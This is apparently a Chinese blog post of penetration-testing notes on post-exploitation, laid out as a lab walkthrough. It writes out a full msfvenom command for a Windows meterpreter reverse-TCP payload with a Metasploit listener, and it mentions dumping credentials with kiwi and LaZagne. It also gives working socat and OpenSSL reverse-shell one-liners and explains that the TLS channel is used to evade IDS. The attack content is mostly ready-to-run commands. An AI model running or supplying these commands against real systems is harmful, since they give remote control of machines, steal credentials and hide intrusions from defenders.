msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.2 LPORT=4444 -f exe -o shell64.exe

MSF开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.52.2
set LPORT 4444
exploit -j # -j 表示在后台监听

靶机执行shell.exe,上线后到MSF控制台查看sessions并进入meterpreter会话

进行一次权限提升

load kiwi工具进行密码抓取

Linux

LaZagne转储证书

在 Linux 环境下,LaZagne 主要用于信息收集,其核心能力是从系统中已存在的凭据存储位置(如环境变量、配置文件、浏览器数据以及 /etc/shadow 中的哈希)提取敏感信息,而不是像 Windows 环境中那样通过统一的加密机制解密明文密码。对于获取到的密码哈希,通常需要结合离线破解手段还原明文后,才能进一步利用。
Linux凭据分散,人工容易遗漏效率低,LaZagne可以扫描全系统获取Linux下的凭据然后标准化输出

Linux反弹shell

nc对外开放正向shell

直接在受害者主机上开启nc监听

攻击机直接进行连接

Socat反弹shell

socat TCP-LISTEN:4444 - //攻击机开启监听
socat TCP:192.168.75.135:4444 EXEC:/bin/bash //靶机反弹shell

OpenSSL反弹shell

将所有指令和返回数据进行TLS加密,让检测设备无法直接看到执行的命令内容,有效绕过IDS

OpenSSL需要证书来实现加密通信。在攻击机上生成一个私钥和自签名证书

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

攻击机开启监听,使用Open SSL的s_server模块模拟一个加密服务器

# -quiet 隐藏握手信息,-cert 和 -key 指定证书,-accept 监听端口
openssl s_server -quiet -key key.pem -cert cert.pem -accept 4444

受害机发起反弹shell

受害机上利用命名管道FIFO将bash的输入输出对接给OpenSSL客户端
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.75.133:4444 > /tmp/s; rm /tmp/s
创建管道mkfifo /tmp/s
启动一个交互式shell /bin/bash -i < /tmp/s 2>&1 从管道读取命令然后将输出统一送出去
建立加密连接然后把bash输出通过加密连接发送给攻击机openssl s_client -quiet -connect 192.168.75.133:4444 > /tmp/s

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇